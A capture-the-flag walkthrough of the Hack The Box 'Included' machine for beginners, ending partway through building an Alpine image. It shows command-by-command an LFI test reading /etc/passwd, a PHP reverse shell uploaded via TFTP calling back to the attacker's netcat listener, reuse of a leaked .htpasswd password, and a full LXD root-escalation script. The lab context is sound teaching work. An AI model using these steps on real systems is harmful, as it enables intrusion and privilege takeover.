The aim of this walkthrough is to provide help with the Included machine on the Hack The Box website. Please note that no flags are directly provided here. Moreover, be aware that this is only one of the many ways to solve the challenges.
It belongs to a series of tutorials that aim to help out complete beginners with finishing the Starting Point TIER 2 challenges.
SETUP
There are a couple of ways to connect to the target machine. The one we will be using throughout this walkthrough is via the provided pwnbox.
Once our connection is taken care of, we spawn the target machine.
Additionally - even though not required - it is possible to set a local variable (only available in the current shell) containing our target host’s IP address. Once set, we can easily access it by prepending a $ to our variable name.
┌─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $rhost=<target-hosts-ip>
┌─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $ echo $rhost
<target-hosts-ip>
┌─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $
We could use the unset command to remove it after we no longer need it.
┌─[✗]─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $unset rhost
┌─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $
TASK 1
Question: What service is running on the target machine over UDP?
Our recon phase starts with a quick connection check
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ ping $rhost -c 4
PING 10.129.112.221 (10.129.112.221) 56(84) bytes of data.
64 bytes from 10.129.112.221: icmp_seq=1 ttl=63 time=10.6 ms
64 bytes from 10.129.112.221: icmp_seq=2 ttl=63 time=9.81 ms
64 bytes from 10.129.112.221: icmp_seq=3 ttl=63 time=10.3 ms
64 bytes from 10.129.112.221: icmp_seq=4 ttl=63 time=10.2 ms
--- 10.129.112.221 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 9.811/10.259/10.649/0.299 ms
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$
followed by the usual (version, script, top1000-ports) tcp nmap scan.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ nmap -sC -sV $rhost
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-23 15:03 BST
Nmap scan report for 10.129.112.221
Host is up (0.050s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.112.221/?file=home.php
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.56 seconds
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$
It looks like our target is running a web server on port 80. Let’s get a fingerprint on the website.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ whatweb $rhost
http://10.129.112.221 [302 Found] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.129.112.221], RedirectLocation[http://10.129.112.221/index.php?file=home.php]
http://10.129.112.221/index.php?file=home.php [301 Moved Permanently] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.129.112.221], RedirectLocation[http://10.129.112.221/?file=home.php], Title[301 Moved Permanently]
http://10.129.112.221/?file=home.php [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.129.112.221]
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$
Interestingly enough, there are two redirections in place:
- 0 - http://$rhost - landing page
- 1 - http://$rhost/index.php?file=home.php - first redirect
- 2 - http://$rhost/?file=home.php - second redirect
Anyway, these urls seem quite dangerous with that file parameter, but let’s leave that for later. For now, since the question mentions udp ports, let’s scan those port’s too. (Note: scanning the udp ports on the target requires root privileges)
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ sudo nmap -sU --min-rate 5000 -p- $rhost
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-23 15:04 BST
Warning: 10.129.112.221 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.112.221
Host is up (0.059s latency).
Not shown: 65350 open|filtered udp ports (no-response), 175 closed udp ports (port-unreach)
PORT STATE SERVICE
39623/udp open unknown
47052/udp open unknown
54212/udp open unknown
54319/udp open unknown
55618/udp open unknown
57357/udp open unknown
57647/udp open unknown
58096/udp open unknown
60359/udp open unknown
60980/udp open unknown
Nmap done: 1 IP address (1 host up) scanned in 169.70 seconds
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$
That’s not too encouraging… How about if we stick to only the most common ports?
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ sudo nmap -sU $rhost
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-23 15:34 BST
Stats: 0:03:18 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 20.98% done; ETC: 15:49 (0:12:26 remaining)
Stats: 0:09:32 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 58.00% done; ETC: 15:50 (0:06:55 remaining)
Nmap scan report for 10.129.112.221
Host is up (0.011s latency).
Not shown: 998 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
Nmap done: 1 IP address (1 host up) scanned in 1024.02 seconds
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$
That’s much better. But what exactly are those two services? After a quick research, this is the information we end up with:
- dhcpc port 68 – probably a dhcp client
- tftp port 69 – trivial file transfer protocol – no user authentication!!!
That second part looks extremely promising. Let’s check it out…only how can we do that?
A quick online search (again) lands as with the tftp-enum script which is available for nmap. It also mentions that it’s only a reimplementation of tftptheft tool, and by following the provided link we can download a wordlist containing the most commonly used filenames that can be found on a tftp share.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ wget https://raw.githubusercontent.com/EnableSecurity/tftptheft/master/data/tftplist.txt
--2023-05-23 15:53:36-- https://raw.githubusercontent.com/EnableSecurity/tftptheft/master/data/tftplist.txt
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.108.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1420 (1.4K) [text/plain]
Saving to: ‘tftplist.txt’
tftplist.txt 100%[===============================>] 1.39K --.-KB/s in 0s
2023-05-23 15:53:36 (20.1 MB/s) - ‘tftplist.txt’ saved [1420/1420]
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ ll
total 4.0K
-rw-r--r-- 1 htb-bluewalle htb-bluewalle 1.4K May 23 15:53 tftplist.txt
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$
Sadly, the enumeration does not find anything interesting. Be it because the share is empty or because file discovery is blocked. We do not know.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ sudo nmap -sU -p 69 --script tftp-enum.nse --script-args tftp-enum.filelist=tftplist.txt $rhost
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-23 15:56 BST
Nmap scan report for 10.129.112.221
Host is up (0.053s latency).
PORT STATE SERVICE
69/udp open tftp
Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$
But since that was a bust, let’s try something else. A quick online research steers us towards a tool named tftp. But since it does not come preinstalled on the pwnbox, we will have to install it ourselves.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ apropos tftp
tftp: nothing appropriate.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ sudo apt install tftp
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
tftp
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 19.3 kB of archives.
After this operation, 54.3 kB of additional disk space will be used.
Get:1 https://deb.parrot.sh/parrot parrot/main amd64 tftp amd64 0.17-23 [19.3 kB]
Fetched 19.3 kB in 0s (60.2 kB/s)
Selecting previously unselected package tftp.
(Reading database ... 506084 files and directories currently installed.)
Preparing to unpack .../tftp_0.17-23_amd64.deb ...
Unpacking tftp (0.17-23) ...
Setting up tftp (0.17-23) ...
Processing triggers for man-db (2.10.1-1~bpo11+1) ...
Scanning application launchers
Removing duplicate launchers or broken launchers
Launchers are updated
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$
Once installed, we refer to it’s man page for further information about it’s usage (man tftp). Simply connecting to our target does not reveal anything interesting.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ tftp $rhost
tftp> status
Connected to 10.129.112.221.
Mode: netascii Verbose: off Tracing: off
Rexmt-interval: 5 seconds, Max-timeout: 25 seconds
tftp> ^C
tftp> ┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$
Coupled with the fact that there is no trivial way to simply dump the file list via tftp, we will probably have to resort to it’s (unauthenticated) file upload function.
As for the answer, since we are restricted to a 4 character long string, we have a clear winner with tftp.
tftp
TASK 2
Question: What class of vulnerability is the webpage that is hosted on port 80 vulnerable to?
It is time to check out the webpage that our target is hosting. Once we fire up our browser, we are automatically redirected to - http://$rhost/?file=home.php -. Goofing around a bit, we notice, that all the links point back to the same landing page.
Using the Wappalyzer Firefox Extension we collect the following information:
- Front scripts: Google Font API
- Web servers: Apache HTTP Server - 2.4.29
- Programming languages: php
- Operating systems: Ubuntu
Maybe it can be of interest later on. But for now, it’s time to return to the dangerous url that we are served with.
Searching for something like - file= vulnerability - lands us the clear answer. But is it really vulnerable? One of the typical proof-of-concept way to test it is to try and load the passwd file with the - ../../../../etc/passwd - path. (Note: this file should be accessible for all the users on the system.)
Accessing the endpoint using our browser provides us with the passwd file, ergo, our target is indeed vulnerable to LFI.
local file inclusion
TASK 3
Question: What is the default system folder that TFTP uses to store files?
Building on the information obtained in TASK1 and TASK2, our idea is to use tftp to upload a php reverse shell and then use the file url parameter to run it.
But for that, we need to know exactly where our files will end up once we upload them via tftp. A quick internet search rewards us with default root directory path, - /var/lib/tftpboot -.
Let’s try and enumerate that directory.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ gobuster dir -u http://$rhost/?file=/var/lib/tftpboot/ -w /opt/useful/SecLists/Discovery/Web-Content/tftp.fuzz.txt --exclude-length 0
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.112.221/?file=/var/lib/tftpboot/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/useful/SecLists/Discovery/Web-Content/tftp.fuzz.txt
[+] Negative Status codes: 404
[+] Exclude Length: 0
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/05/23 16:38:43 Starting gobuster in directory enumeration mode
===============================================================
===============================================================
2023/05/23 16:38:44 Finished
===============================================================
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$
No luck with the tftp.fuzz.txt wordlist. Let’s try the common one.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ gobuster dir -u http://$rhost/?file=/var/lib/tftpboot/ -w /usr/share/wordlists/dirb/common.txt --exclude-length 0
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.112.221/?file=/var/lib/tftpboot/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] Exclude Length: 0
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/05/23 16:39:44 Starting gobuster in directory enumeration mode
===============================================================
/Documents and Settings (Status: 400) [Size: 301]
/Program Files (Status: 400) [Size: 301]
/reports list (Status: 400) [Size: 301]
===============================================================
2023/05/23 16:39:49 Finished
===============================================================
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$
Again, no luck this time. We move on.
/var/lib/tftpboot/
TASK 4
Question: Which interesting file is located in the web server folder and can be used for Lateral Movement?
Now it’s finally time to get that reverse php shell going. We grab one of the most commonly used ones and we modify it to fit our needs.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
--2023-05-23 16:52:12-- https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5491 (5.4K) [text/plain]
Saving to: ‘php-reverse-shell.php’
php-reverse-shell.php 100%[===============================>] 5.36K --.-KB/s in 0s
2023-05-23 16:52:12 (42.5 MB/s) - ‘php-reverse-shell.php’ saved [5491/5491]
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ vim php-reverse-shell.php
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ mv php-reverse-shell.php revshell.php
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$
We adjust line 49 and 50 accordingly.
# original
...
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
...
# modified
...
$ip = '10.10.14.75'; // local host
$port = 4444; // arbitrary port
...
Once uploaded,
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ tftp $rhost
tftp> put revshell.php
Sent 5685 bytes in 0.2 seconds
tftp> ^C
tftp> ┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$
and with a netcat listener started in an other terminal,
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/Desktop]
└──╼ [★]$ nc -lvnp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
all that’s left to do is to access it so that our target runs it. We can do this by simply loading our script in our browser via - http://$rhost/?file=/var/lib/tftpboot/revshell.php -.
Heading over to our netcat listener, we are welcomed with a shell access with the privileges of the www-data user.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/Desktop]
└──╼ [★]$ nc -lvnp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.112.221.
Ncat: Connection from 10.129.112.221:56704.
Linux included 4.15.0-151-generic #157-Ubuntu SMP Fri Jul 9 23:07:57 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
16:03:41 up 2:01, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
But since this shell connection is quite unstable, we first stabilize it.
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@included:/$ export TERM=xterm
export TERM=xterm
www-data@included:/$ ^Z
[1]+ Stopped nc -lvnp 4444
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/Desktop]
└──╼ [★]$ stty raw -echo; fg
nc -lvnp 4444
www-data@included:/$
Looking around a bit, we realize that we do NOT have permission to view the user flag.
www-data@included:/$ pwd
/
www-data@included:/$ ls -hla
total 100K
drwxr-xr-x 24 root root 4.0K Oct 11 2021 .
drwxr-xr-x 24 root root 4.0K Oct 11 2021 ..
drwxr-xr-x 2 root root 4.0K Jul 26 2021 bin
drwxr-xr-x 3 root root 4.0K Oct 11 2021 boot
drwxr-xr-x 2 root root 4.0K Apr 23 2021 cdrom
drwxr-xr-x 17 root root 3.9K May 23 14:01 dev
drwxr-xr-x 98 root root 4.0K Jul 26 2021 etc
drwxr-xr-x 3 root root 4.0K Mar 5 2020 home
lrwxrwxrwx 1 root root 34 Jul 26 2021 initrd.img -> boot/initrd.img-4.15.0-151-generic
lrwxrwxrwx 1 root root 34 Oct 11 2021 initrd.img.old -> boot/initrd.img-4.15.0-151-generic
drwxr-xr-x 21 root root 4.0K Jul 26 2021 lib
drwxr-xr-x 2 root root 4.0K Jul 26 2021 lib64
drwx------ 2 root root 16K Mar 5 2020 lost+found
drwxr-xr-x 2 root root 4.0K Apr 23 2021 media
drwxr-xr-x 2 root root 4.0K Aug 5 2019 mnt
drwxr-xr-x 2 root root 4.0K Apr 23 2021 opt
dr-xr-xr-x 134 root root 0 May 23 14:01 proc
drwx------ 7 root root 4.0K Apr 23 2021 root
drwxr-xr-x 25 root root 880 May 23 14:02 run
drwxr-xr-x 2 root root 12K Jul 26 2021 sbin
drwxr-xr-x 4 root root 4.0K Apr 23 2021 snap
drwxr-xr-x 2 root root 4.0K Apr 23 2021 srv
dr-xr-xr-x 13 root root 0 May 23 14:01 sys
drwxrwxrwt 2 root root 4.0K May 23 14:02 tmp
drwxr-xr-x 11 root root 4.0K Jul 26 2021 usr
drwxr-xr-x 14 root root 4.0K Apr 23 2021 var
lrwxrwxrwx 1 root root 31 Jul 26 2021 vmlinuz -> boot/vmlinuz-4.15.0-151-generic
lrwxrwxrwx 1 root root 31 Oct 11 2021 vmlinuz.old -> boot/vmlinuz-4.15.0-151-generic
www-data@included:/$ cd home/
www-data@included:/home$ ls -hla
total 12K
drwxr-xr-x 3 root root 4.0K Mar 5 2020 .
drwxr-xr-x 24 root root 4.0K Oct 11 2021 ..
drwxr-xr-x 6 mike mike 4.0K Mar 11 2020 mike
www-data@included:/home$ cd mike/
www-data@included:/home/mike$ ls -hlag
total 44K
drwxr-xr-x 6 mike 4.0K Mar 11 2020 .
drwxr-xr-x 3 root 4.0K Mar 5 2020 ..
lrwxrwxrwx 1 mike 9 Mar 5 2020 .bash_history -> /dev/null
-rw-r--r-- 1 mike 220 Apr 4 2018 .bash_logout
-rw-rw-r-- 1 mike 15 Mar 5 2020 .bash_profile
-rw-r--r-- 1 mike 3.7K Apr 4 2018 .bashrc
drwx------ 2 mike 4.0K Mar 5 2020 .cache
drwxr-x--- 3 mike 4.0K Mar 10 2020 .config
drwx------ 3 mike 4.0K Mar 5 2020 .gnupg
drwxrwxr-x 3 mike 4.0K Mar 9 2020 .local
-rw-r--r-- 1 mike 807 Apr 4 2018 .profile
-r-------- 1 mike 33 Mar 9 2020 user.txt
www-data@included:/home/mike$
Therefore, we need upgrade our privileges. Taking a quick look at the web server’s installation directory can sometimes lead to lateral movement, considering, that quite often the source files found there are prone to leak some clear-text credentials.
www-data@included:/var/www/html$ ls -hlag
total 88K
drwxr-xr-x 4 root 4.0K Oct 13 2021 .
drwxr-xr-x 3 root 4.0K Apr 23 2021 ..
-rw-r--r-- 1 www-data 212 Apr 23 2021 .htaccess
-rw-r--r-- 1 www-data 17 Apr 23 2021 .htpasswd
-rw-r--r-- 1 www-data 14K Apr 29 2014 default.css
drwxr-xr-x 2 www-data 4.0K Apr 23 2021 fonts
-rw-r--r-- 1 www-data 20K Apr 29 2014 fonts.css
-rw-r--r-- 1 www-data 3.7K Oct 13 2021 home.php
drwxr-xr-x 2 www-data 4.0K Apr 23 2021 images
-rw-r--r-- 1 www-data 145 Oct 13 2021 index.php
-rw-r--r-- 1 www-data 17K Apr 29 2014 license.txt
www-data@included:/var/www/html$
We are lucky. The .htpasswd file which is used to store usernames and passwords for basic HTTP authentication contains a password for the mike user.
www-data@included:/var/www/html$ cat .htaccess
RewriteEngine On
RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]
RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]
#<Files index.php>
#AuthType Basic
#AuthUserFile /var/www/html/.htpasswd
#Require valid-user
www-data@included:/var/www/html$ cat .htpasswd
mike:Sheffield19
www-data@included:/var/www/html$
Since password reuse is a common thing, we try the same password on the system.
www-data@included:/var/www/html$ su mike
Password:
mike@included:/var/www/html$
Great, it worked!
.htpasswd
TASK 5
Question: What is the group that user Mike is a part of and can be exploited for Privilege Escalation?
First we list all the groups that mike is a member of. There are only two: mike and lxd.
mike@included:/var/www/html$ groups
mike lxd
mike@included:/var/www/html$ id
uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)
mike@included:/var/www/html$
A quick online search reveals LXD as a next generation system container and virtual machine manager. That looks promising.
But before we continue with exploiting lxd we make sure to grab the user flag.
mike@included:/var/www/html$ cat /home/mike/user.txt
<flag>
mike@included:/var/www/html$
lxd
TASK 6
Question: When using an image to exploit a system via containers, we look for a very small distribution. Our favorite for this task is named after mountains. What is that distribution name?
This time we rely on the exploit database for finding the exploit. We grab it and store it in our working directory.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ searchsploit lxd
-------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------- ---------------------------------
Ubuntu 18.04 - 'lxd' Privilege Escalation | linux/local/46978.sh
-------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ cp /usr/share/exploitdb/exploits/linux/local/46978.sh .
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ mv 46978.sh lxdprivesc.sh
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$
Opening it, we are welcomed with clear instructions and following them should elavate our privileges to root.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ cat lxdprivesc.sh
#!/usr/bin/env bash
# ----------------------------------
# Authors: Marcelo Vazquez (S4vitar)
# Victor Lasa (vowkin)
# ----------------------------------
# Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]
# Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]
# Step 3: Run this script and you will get root [Victim Machine]
# Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine
function helpPanel(){
echo -e "\nUsage:"
echo -e "\t[-f] Filename (.tar.gz alpine file)"
echo -e "\t[-h] Show this help panel\n"
exit 1
}
function createContainer(){
lxc image import $filename --alias alpine && lxd init --auto
echo -e "[*] Listing images...\n" && lxc image list
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc sh
cleanup
}
function cleanup(){
echo -en "\n[*] Removing container..."
lxc stop privesc && lxc delete privesc && lxc image delete alpine
echo " [√]"
}
set -o nounset
set -o errexit
declare -i parameter_enable=0; while getopts ":f:h:" arg; do
case $arg in
f) filename=$OPTARG && let parameter_enable+=1;;
h) helpPanel;;
esac
done
if [ $parameter_enable -ne 1 ]; then
helpPanel
else
createContainer
fi┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$
All that’s left for us now is to simply follow the steps.
- Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
--2023-05-23 17:48:43-- https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8060 (7.9K) [text/plain]
Saving to: ‘build-alpine’
build-alpine 100%[===============================>] 7.87K --.-KB/s in 0s
2023-05-23 17:48:44 (62.6 MB/s) - ‘build-alpine’ saved [8060/8060]
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$
- Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ chmod a+x build-alpine
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.75]─[htb-bluewalle@htb-kncdaw3dhs]─[~/included]
└──╼ [★]$ sudo ./build-alpine
Determining the latest release... v3.18
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.18/main/x86_64
Downloading alpine-keys-2.4-r1.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
